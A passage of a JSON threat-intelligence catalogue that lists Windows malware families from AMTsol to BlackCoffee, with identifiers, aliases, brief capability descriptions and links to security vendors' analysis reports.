          "https://blogs.technet.microsoft.com/mmpc/2017/06/07/platinum-continues-to-evolve-find-ways-to-maintain-invisibility/",
          "http://download.microsoft.com/download/2/2/5/225BFE3E-E1DE-4F5B-A77B-71200928D209/Platinum%20feature%20article%20-%20Targeted%20attacks%20in%20South%20and%20Southeast%20Asia%20April%202016.pdf"
        ],
        "synonyms": [
          "Adupihan"
        ],
        "type": []
      },
      "uuid": "ce25929c-0358-477c-a85e-f0bdfcc99a54",
      "value": "AMTsol"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.anatova_ransom",
          "https://www.bleepingcomputer.com/news/security/new-anatova-ransomware-supports-modules-for-extra-functionality/",
          "https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/happy-new-year-2019-anatova-is-here/"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "2a28ad28-8ba5-4b8b-9652-bc0cdd37b2c4",
      "value": "Anatova Ransomware"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.andromeda",
          "https://blog.fortinet.com/2014/04/16/a-good-look-at-the-andromeda-botnet",
          "https://www.europol.europa.eu/newsroom/news/andromeda-botnet-dismantled-in-international-cyber-operation",
          "https://blog.avast.com/andromeda-under-the-microscope",
          "https://blog.fortinet.com/2014/05/19/new-anti-analysis-tricks-in-andromeda-2-08",
          "http://blog.morphisec.com/andromeda-tactics-analyzed",
          "https://eternal-todo.com/blog/yet-another-andromeda-gamarue-analysis",
          "http://resources.infosecinstitute.com/andromeda-bot-analysis/",
          "https://blog.fortinet.com/2014/04/23/andromeda-2-7-features",
          "http://www.0xebfe.net/blog/2013/03/30/fooled-by-andromeda/",
          "https://www.virusbulletin.com/virusbulletin/2013/08/andromeda-2-7-features",
          "https://blogs.technet.microsoft.com/mmpc/2017/12/04/microsoft-teams-up-with-law-enforcement-and-other-partners-to-disrupt-gamarue-andromeda/",
          "https://www.virusbulletin.com/virusbulletin/2018/02/review-evolution-andromeda-over-years-we-say-goodbye/",
          "https://www.proofpoint.com/sites/default/files/proofpoint-operation-transparent-tribe-threat-insight-en.pdf",
          "https://eternal-todo.com/blog/andromeda-gamarue-loves-json",
          "http://resources.infosecinstitute.com/andromeda-bot-analysis-part-two/",
          "https://byte-atlas.blogspot.ch/2015/04/kf-andromeda-bruteforcing.html"
        ],
        "synonyms": [
          "B106-Gamarue",
          "B67-SS-Gamarue",
          "Gamarue",
          "b66"
        ],
        "type": []
      },
      "uuid": "07f46d21-a5d4-4359-8873-18e30950df1a",
      "value": "Andromeda"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.anel",
          "https://blog.trendmicro.com/trendlabs-security-intelligence/chessmaster-adds-updated-tools-to-its-arsenal/"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "a180afcc-d42d-4600-b70f-af27aaf851b7",
      "value": "Anel"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.antilam"
        ],
        "synonyms": [
          "Latinus"
        ],
        "type": []
      },
      "uuid": "02be7f3a-f3bf-447b-b8b4-c78432b82694",
      "value": "Antilam"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.apocalipto",
          "https://www.visakorea.com/dam/VCOM/download/merchants/Grocery_Malware_04242013.pdf"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "d3e16d46-e436-4757-b962-6fd393056415",
      "value": "Apocalipto"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.apocalypse_ransom",
          "http://blog.emsisoft.com/2016/06/29/apocalypse-ransomware-which-targets-companies-through-insecure-rdp/"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "e87d9df4-b464-4458-ae1f-31cea40d5f96",
      "value": "Apocalypse"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.ardamax"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "4f5c2f8b-06ef-4fb3-b03c-afdcafa88de5",
      "value": "ArdaMax"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.arefty",
          "http://www.welivesecurity.com/2016/03/23/new-self-protecting-usb-trojan-able-to-avoid-detection/"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "bf135b0a-3120-42c4-ba58-c80f9ef689bf",
      "value": "Arefty"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.arik_keylogger",
          "http://remote-keylogger.net/",
          "https://www.invincea.com/2016/09/crimeware-as-a-service-goes-mainstream/"
        ],
        "synonyms": [
          "Aaron Keylogger"
        ],
        "type": []
      },
      "uuid": "3572d725-bf13-43ef-9511-bdbb7692ab06",
      "value": "Arik Keylogger"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.arkei_stealer",
          "https://www.bleepingcomputer.com/news/security/hacker-breaches-syscoin-github-account-and-poisons-official-client/"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "59eff508-7f26-4fd8-b526-5772a9f3d9a6",
      "value": "Arkei Stealer"
    },
    {
      "description": "ARS Loader, also known as ARS VBS Loader, is written in Visual Basic Script and its main purpose is to control an infected machine via different available commands, acting as a remote access trojan (RAT). Its code is based on ASPC, another Visual Basic Script malware, which at the same time seems to be based on SafeLoader.",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.ars_loader",
          "https://www.flashpoint-intel.com/blog/meet-ars-vbs-loader/",
          "https://twitter.com/Racco42/status/1001374490339790849",
          "https://www.blueliv.com/blog-news/research/ars-loader-evolution-zeroevil-ta545-airnaine/"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "1a4f99cc-c078-41f8-9749-e1dc524fc795",
      "value": "ARS VBS Loader"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.artra",
          "https://unit42.paloaltonetworks.com/multiple-artradownloader-variants-used-by-bitter-to-target-pakistan/"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "05de9c50-5958-4d02-b1a0-c4a2367c2d22",
      "value": "Artra Downloader"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.ascentloader"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "4e3fa4e6-bc7d-4024-b191-ccafa5347c13",
      "value": "AscentLoader"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.aspc"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "bc128d41-33e6-40ec-aaf2-9a05da9a0a27",
      "value": "ASPC"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.asprox",
          "https://researchcenter.paloaltonetworks.com/2015/08/whats-next-in-malware-after-kuluoz/",
          "https://www.virusbulletin.com/virusbulletin/2012/11/tracking-2012-sasfis-campaign",
          "http://oalabs.openanalysis.net/2014/12/04/inside-the-new-asprox-kuluoz-october-2013-january-2014/"
        ],
        "synonyms": [
          "Aseljo",
          "BadSrc"
        ],
        "type": []
      },
      "uuid": "ba557993-f64e-4538-8f13-dafaa3c0db00",
      "value": "Asprox"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.athenago",
          "http://blog.talosintel.com/2017/02/athena-go.html"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "587eff78-47be-4022-a1b5-7857340a9ab2",
      "value": "AthenaGo RAT"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.ati_agent",
          "https://www.crowdstrike.com/blog/bears-midst-intrusion-democratic-national-committee/"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "e248d80d-de8e-45de-b6d0-3740e5b34573",
      "value": "ATI-Agent"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.atmii",
          "https://securelist.com/atmii-a-small-but-effective-atm-robber/82707/"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "f2a7c867-6380-4cbe-b524-50727a29f0c6",
      "value": "ATMii"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.atmitch",
          "https://securelist.com/blog/sas/77918/atmitch-remote-administration-of-atms/"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "5f427b3a-7162-4421-b2cd-e6588d518448",
      "value": "ATMitch"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.atmosphere",
          "https://www.group-ib.com/resources/threat-research/silence.html"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "15918921-93b8-4b3a-a612-e1d1f769c420",
      "value": "Atmosphere"
    },
    {
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      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.atmspitter",
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          "https://quoscient.io/reports/QuoINT_INTBRI_ATMSpitter_v2.pdf"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "5a03a6ff-e127-4cd2-aab1-75f1e3ecc187",
      "value": "ATMSpitter"
    },
    {
      "description": "",
      "meta": {
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          "https://malpedia.caad.fkie.fraunhofer.de/details/win.august_stealer",
          "https://www.proofpoint.com/us/threat-insight/post/august-in-december-new-information-stealer-hits-the-scene",
          "https://hazmalware.blogspot.de/2016/12/analysis-of-august-stealer-malware.html"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "2ee0122a-701d-487d-9ac1-7d91e4f99d78",
      "value": "August Stealer"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.auriga",
          "https://github.com/securitykitten/malware_references/blob/master/Appendix%20C%20(Digital)%20-%20The%20Malware%20Arsenal.pdf"
        ],
        "synonyms": [
          "Riodrv"
        ],
        "type": []
      },
      "uuid": "e3065e43-503b-4496-921b-7601dd3d6abd",
      "value": "Auriga"
    },
    {
      "description": "Ransomware",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.aurora",
          "https://www.bleepingcomputer.com/news/security/azorult-trojan-serving-aurora-ransomware-by-malactor-oktropys/",
          "https://www.bleepingcomputer.com/ransomware/decryptor/how-to-decrypt-the-aurora-ransomware-with-auroradecrypter/"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "2f899e3e-1a46-43ea-8e68-140603ce943d",
      "value": "Aurora"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.avast_disabler",
          "https://securityintelligence.com/exposing-av-disabling-drivers-just-in-time-for-lunch/"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "96a695de-2560-4f10-bbd6-3bc2ac27b7f7",
      "value": "AvastDisabler"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.avcrypt",
          "https://www.bleepingcomputer.com/news/security/the-avcrypt-ransomware-tries-to-uninstall-your-av-software/"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "0568fcc6-755f-416e-9c5b-22232cd7ae0e",
      "value": "AVCrypt"
    },
    {
      "description": "",
      "meta": {
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          "https://malpedia.caad.fkie.fraunhofer.de/details/win.aveo",
          "http://researchcenter.paloaltonetworks.com/2016/08/unit42-aveo-malware-family-targets-japanese-speaking-users/"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "606b160a-5180-4255-a1db-b2b9e8a52e95",
      "value": "Aveo"
    },
    {
      "description": "Information stealer which uses AutoIT for wrapping.",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.ave_maria",
          "https://blog.yoroi.company/research/the-ave_maria-malware/"
        ],
        "synonyms": [
          "AVE_MARIA"
        ],
        "type": []
      },
      "uuid": "6bae792a-c2d0-42eb-b9e0-6ef1d83f9b25",
      "value": "Ave Maria"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.avzhan",
          "https://blog.malwarebytes.com/threat-analysis/2018/02/avzhan-ddos-bot-dropped-by-chinese-drive-by-attack/"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "b12d9354-f67b-47dd-944c-82cfdff7b9a3",
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    },
    {
      "description": "",
      "meta": {
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          "https://malpedia.caad.fkie.fraunhofer.de/details/win.ayegent"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "c84a6b0b-28a5-4293-b8fc-6a6eeb7b5f70",
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    },
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      "meta": {
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          "https://malpedia.caad.fkie.fraunhofer.de/details/win.azorult",
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          "https://blog.minerva-labs.com/puffstealer-evasion-in-a-cloak-of-multiple-layers",
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          "https://blog.minerva-labs.com/azorult-now-as-a-signed-google-update",
          "https://www.proofpoint.com/us/threat-insight/post/new-version-azorult-stealer-improves-loading-features-spreads-alongside",
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          "https://www.blueliv.com/blog-news/research/azorult-crydbrox-stops-sells-malware-credential-stealer/",
          "https://research.checkpoint.com/the-emergence-of-the-new-azorult-3-3/"
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        ],
        "type": []
      },
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      "value": "Azorult"
    },
    {
      "description": "",
      "meta": {
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          "https://www.gdatasoftware.com/blog/2015/02/24270-babar-espionage-software-finally-found-and-put-under-the-microscope",
          "https://www.cyphort.com/babar-suspected-nation-state-spyware-spotlight/"
        ],
        "synonyms": [
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        ],
        "type": []
      },
      "uuid": "947dffa1-0184-48d4-998e-1899ad97e93e",
      "value": "Babar"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.babylon_rat",
          "https://twitter.com/KorbenD_Intel/status/1110654679980085262"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "1a196c09-f7cd-4a6e-bc3c-2489121b5381",
      "value": "BabyLon RAT"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.babymetal",
          "https://www.fireeye.com/blog/threat-research/2018/08/fin7-pursuing-an-enigmatic-and-evasive-global-criminal-operation.html"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "30c2e5c6-851d-4f3a-8b6e-2e7b69a26467",
      "value": "BABYMETAL"
    },
    {
      "description": "FireEye describes BACKBEND as a secondary downloader used as a backup mechanism in the case the primary backdoor is removed. When executed, BACKBEND checks for the presence of the mutexes MicrosoftZj or MicrosoftZjBak (both associated with BACKSPACE variants). If either of the mutexes exist, the malware exits.",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.backbend",
          "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "934da8b2-f66e-4056-911e-1da09216e8b8",
      "value": "BACKBEND"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.backnet",
          "https://github.com/valsov/BackNet"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "e2840cc1-c43d-4542-9818-a3c15a0f9f7a",
      "value": "BackNet"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.backspace",
          "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "23398248-a52a-4a7c-af10-262822d33a4e",
      "value": "backspace"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.backswap",
          "https://securityintelligence.com/backswap-malware-now-targets-six-banks-in-spain/",
          "https://www.f5.com/labs/articles/threat-intelligence/backswap-defrauds-online-banking-customers-using-hidden-input-fi",
          "https://www.cert.pl/en/news/single/backswap-malware-analysis/",
          "https://research.checkpoint.com/the-evolution-of-backswap/",
          "https://www.cyberbit.com/blog/endpoint-security/backswap-banker-malware-hides-inside-replicas-of-legitimate-programs/",
          "https://www.welivesecurity.com/2018/05/25/backswap-malware-empty-bank-accounts/"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "4ec40af9-0295-4b9a-81ad-b7017a21609d",
      "value": "BackSwap"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.badencript",
          "https://twitter.com/PhysicalDrive0/status/833067081981710336"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "af1c99be-e55a-473e-abed-726191e1da05",
      "value": "BadEncript"
    },
    {
      "description": "BADFLICK, a backdoor that is capable of modifying the file system, generating a reverse shell, and modifying its command-and-control configuration.",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.badflick",
          "https://www.fireeye.com/blog/threat-research/2018/03/suspected-chinese-espionage-group-targeting-maritime-and-engineering-industries.html",
          "https://blog.amossys.fr/badflick-is-not-so-bad.html"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "1eceb5c0-3a01-43c2-b204-9957b15cf763",
      "value": "badflick"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.badnews",
          "http://blog.fortinet.com/2017/04/05/in-depth-look-at-new-variant-of-monsoon-apt-backdoor-part-1",
          "https://www.forcepoint.com/sites/default/files/resources/files/forcepoint-security-labs-monsoon-analysis-report.pdf",
          "https://researchcenter.paloaltonetworks.com/2018/03/unit42-patchwork-continues-deliver-badnews-indian-subcontinent/",
          "https://documents.trendmicro.com/assets/tech-brief-untangling-the-patchwork-cyberespionage-group.pdf",
          "http://blog.fortinet.com/2017/04/05/in-depth-look-at-new-variant-of-monsoon-apt-backdoor-part-2"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "f28fa5ca-9466-410c-aa32-4bd102f3f0e1",
      "value": "BadNews"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.bagle"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "f09af1cc-cf9d-499a-9026-e783a3897508",
      "value": "Bagle"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.bahamut",
          "https://www.bellingcat.com/news/mena/2017/06/12/bahamut-pursuing-cyber-espionage-actor-middle-east/",
          "https://www.bellingcat.com/resources/case-studies/2017/10/27/bahamut-revisited-cyber-espionage-middle-east-south-asia/"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "b420eb9f-d526-473c-95ab-5ab380bbec72",
      "value": "Bahamut (Windows)"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.baldir",
          "https://blog.malwarebytes.com/threat-analysis/2019/04/say-hello-baldr-new-stealer-market/",
          "https://www.youtube.com/watch?v=E2V4kB_gtcQ"
        ],
        "synonyms": [
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        ],
        "type": []
      },
      "uuid": "7024893a-96fe-4de4-bb04-c1d4794a4c95",
      "value": "Baldir"
    },
    {
      "description": "",
      "meta": {
        "refs": [
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          "https://www.cert.pl/en/news/single/banatrix-an-indepth-look/"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "721fe429-f240-4fd6-a5c9-187195624b51",
      "value": "Banatrix"
    },
    {
      "description": "",
      "meta": {
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          "https://www.slideshare.net/YuryChemerkin/appendix-c-digital-the-malware-arsenal"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "5c3c53ff-c81f-4daa-9b60-672650046ed7",
      "value": "bangat"
    },
    {
      "description": "",
      "meta": {
        "refs": [
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          "http://blog.kleissner.org/?p=69",
          "http://osint.bambenekconsulting.com/feeds/",
          "https://www.johannesbader.ch/2015/02/the-dga-of-banjori/",
          "http://blog.kleissner.org/?p=192"
        ],
        "synonyms": [
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          "BankPatch",
          "MultiBanker 2"
        ],
        "type": []
      },
      "uuid": "137cde28-5c53-489b-ad0b-d0fa2e342324",
      "value": "Banjori"
    },
    {
      "description": "",
      "meta": {
        "refs": [
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          "https://www.us-cert.gov/sites/default/files/publications/MAR-10135536-B_WHITE.PDF",
          "https://securingtomorrow.mcafee.com/mcafee-labs/hidden-cobra-targets-turkish-financial-sector-new-bankshot-implant/"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "bc67677c-c0e7-4fb1-8619-7f43fa3ff886",
      "value": "Bankshot"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.bart"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "1dfd3ba6-7f82-407f-958d-c4a2ac055123",
      "value": "Bart"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.batchwiper",
          "http://contagiodump.blogspot.com/2012/12/batchwiper-samples.html"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "b74747e0-59ac-4adf-baac-78213a234ff5",
      "value": "BatchWiper"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.batel"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "3900aa45-a7ff-48cc-9ac0-58c7c372991e",
      "value": "Batel"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.bbsrat",
          "https://researchcenter.paloaltonetworks.com/2016/03/digital-quartermaster-scenario-demonstrated-in-attacks-against-the-mongolian-government/"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "cad1d6db-3a6c-4d67-8f6e-627d8a168d6a",
      "value": "BBSRAT"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.beapy",
          "https://www.symantec.com/blogs/threat-intelligence/beapy-cryptojacking-worm-china"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "404e8121-bced-4320-a984-2b490fad90f8",
      "value": "Beapy"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.bedep"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "af338ac2-8103-4419-8393-fb4f3b43af4b",
      "value": "Bedep"
    },
    {
      "description": "BEENDOOR is a XMPP based trojan. It is capable of taking screenshots of the victim's desktop.",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.beendoor",
          "https://www.proofpoint.com/sites/default/files/proofpoint-operation-transparent-tribe-threat-insight-en.pdf"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "e2dca2b5-7ca0-4654-ae3d-91dab60dfd90",
      "value": "beendoor"
    },
    {
      "description": "Once set up in the system, Trojan.Belonard replaces the list of available game servers in the game client and creates proxies on the infected computer to spread the Trojan. As a rule, proxy servers show a lower ping, so other players will see them at the top of the list. By selecting one of them, a player gets redirected to a malicious server where their computer become infected with Trojan.Belonard.",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.belonard",
          "https://news.drweb.com/show/?i=13135&c=23&lng=en&p=0"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "40c48c99-7d33-4f35-92f1-937c3686afa7",
      "value": "Belonard"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.berbomthum",
          "https://blog.trendmicro.com/trendlabs-security-intelligence/cybercriminals-use-malicious-memes-that-communicate-with-malware/"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "6944cbe7-db95-422d-8751-98c9fc4f0b12",
      "value": "Berbomthum"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.bernhardpos",
          "https://securitykitten.github.io/2015/07/14/bernhardpos.html"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "e59d1d3a-6c23-4684-8be1-2f182f63ab41",
      "value": "BernhardPOS"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.betabot",
          "https://www.cybereason.com/blog/betabot-banking-trojan-neurevt",
          "https://medium.com/@woj_ciech/betabot-still-alive-with-multi-stage-packing-fbe8ef211d39",
          "https://www.ccn-cert.cni.es/seguridad-al-dia/comunicados-ccn-cert/6087-betabot-y-fleercivet-dos-nuevos-informes-de-codigo-danino-del-ccn-cert.html",
          "http://www.xylibox.com/2015/04/betabot-retrospective.html",
          "https://asert.arbornetworks.com/beta-bot-a-code-review/",
          "http://resources.infosecinstitute.com/beta-bot-analysis-part-1/#gref",
          "https://www.sophos.com/en-us/medialibrary/PDFs/technical-papers/BetaBot.pdf?la=en",
          "http://www.malwaredigger.com/2013/09/how-to-extract-betabot-config-info.html"
        ],
        "synonyms": [
          "Neurevt"
        ],
        "type": []
      },
      "uuid": "837c5618-69dc-4817-8672-b3d7ae644f5c",
      "value": "BetaBot"
    },
    {
      "description": "Bezigate is a Trojan horse that opens a back door on the compromised computer. It may also download potentially malicious files. \r\n\r\nThe Trojan may perform the following actions: \r\nList, move, and delete drives\r\nList, move, and delete files\r\nList processes and running Windows titles\r\nList services\r\nList registry values\r\nKill processes\r\nMaximize, minimize, and close windows\r\nUpload and download files\r\nExecute shell commands\r\nUninstall itself",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.bezigate",
          "https://www.proofpoint.com/sites/default/files/proofpoint-operation-transparent-tribe-threat-insight-en.pdf"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "29f45180-cb57-4655-8812-eb814c2a0b0e",
      "value": "Bezigate"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.bfbot"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "95b454f6-8ffb-4ef7-8a91-14d48601a899",
      "value": "BfBot"
    },
    {
      "description": "BillGates is a modularized malware, of supposedly Chinese origin. Its main functionality is to perform DDoS attacks, with support for DNS amplification. Often, BillGates is delivered with one or many backdoor modules.\r\n\r\nBillGates is available for *nix-based systems as well as for Windows.\r\n\r\nOn Windows, the (Bill)Gates installer typically contains the various modules as linked resources.",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.billgates",
          "https://securelist.com/versatile-ddos-trojan-for-linux/64361/",
          "https://habrahabr.ru/post/213973/",
          "https://www.akamai.com/kr/ko/multimedia/documents/state-of-the-internet/bill-gates-botnet-threat-advisory.pdf"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "42ed9fc4-08ba-4c1c-bf15-d789ee4e3ca6",
      "value": "BillGates"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.biodata",
          "https://unit42.paloaltonetworks.com/unit42-recent-inpage-exploits-lead-multiple-malware-families/",
          "https://ti.360.net/blog/articles/analysis-of-targeted-attack-against-pakistan-by-exploiting-inpage-vulnerability-and-related-apt-groups-english/"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "96bcaa83-998b-4fb2-a4e7-a2d33c6427d7",
      "value": "BioData"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.biscuit",
          "https://github.com/securitykitten/malware_references/blob/master/Appendix%20C%20(Digital)%20-%20The%20Malware%20Arsenal.pdf"
        ],
        "synonyms": [
          "zxdosml"
        ],
        "type": []
      },
      "uuid": "f98b4092-5f32-407c-9015-2da787d70c64",
      "value": "Biscuit"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.bitsran",
          "http://baesystemsai.blogspot.de/2017/10/taiwan-heist-lazarus-tools.html"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "3e072464-6fa6-4977-9b64-08f86d1062fc",
      "value": "Bitsran"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.bitter_rat",
          "https://ti.360.net/blog/articles/analysis-of-targeted-attack-against-pakistan-by-exploiting-inpage-vulnerability-and-related-apt-groups-english/",
          "https://www.forcepoint.com/blog/security-labs/bitter-targeted-attack-against-pakistan"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "265f96d1-fdd4-4dec-b7ca-51ae6f726634",
      "value": "Bitter RAT"
    },
    {
      "description": "BKA Trojaner is a screenlocker ransomware that was active in 2011, displaying a police-themed message in German language.",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.bka_trojaner",
          "https://www.evild3ad.com/405/bka-trojaner-ransomware/"
        ],
        "synonyms": [
          "bwin3_bka"
        ],
        "type": []
      },
      "uuid": "ea06f87c-148c-49e5-afec-7012cb2b4f0a",
      "value": "BKA Trojaner"
    },
    {
      "description": "a backdoor that obfuscates its communications as normal traffic to legitimate websites such as Github and Microsoft's Technet portal.",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.blackcoffee",
          "https://www.fireeye.com/blog/threat-research/2018/03/suspected-chinese-espionage-group-targeting-maritime-and-engineering-industries.html",
          "https://attack.mitre.org/software/S0069/",
          "https://www2.fireeye.com/rs/fireye/images/APT17_Report.pdf",
          "http://malware-log.hatenablog.com/entry/2015/05/18/000000_1"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "ff660bf2-a9e4-4973-be0c-9f6618e40899",
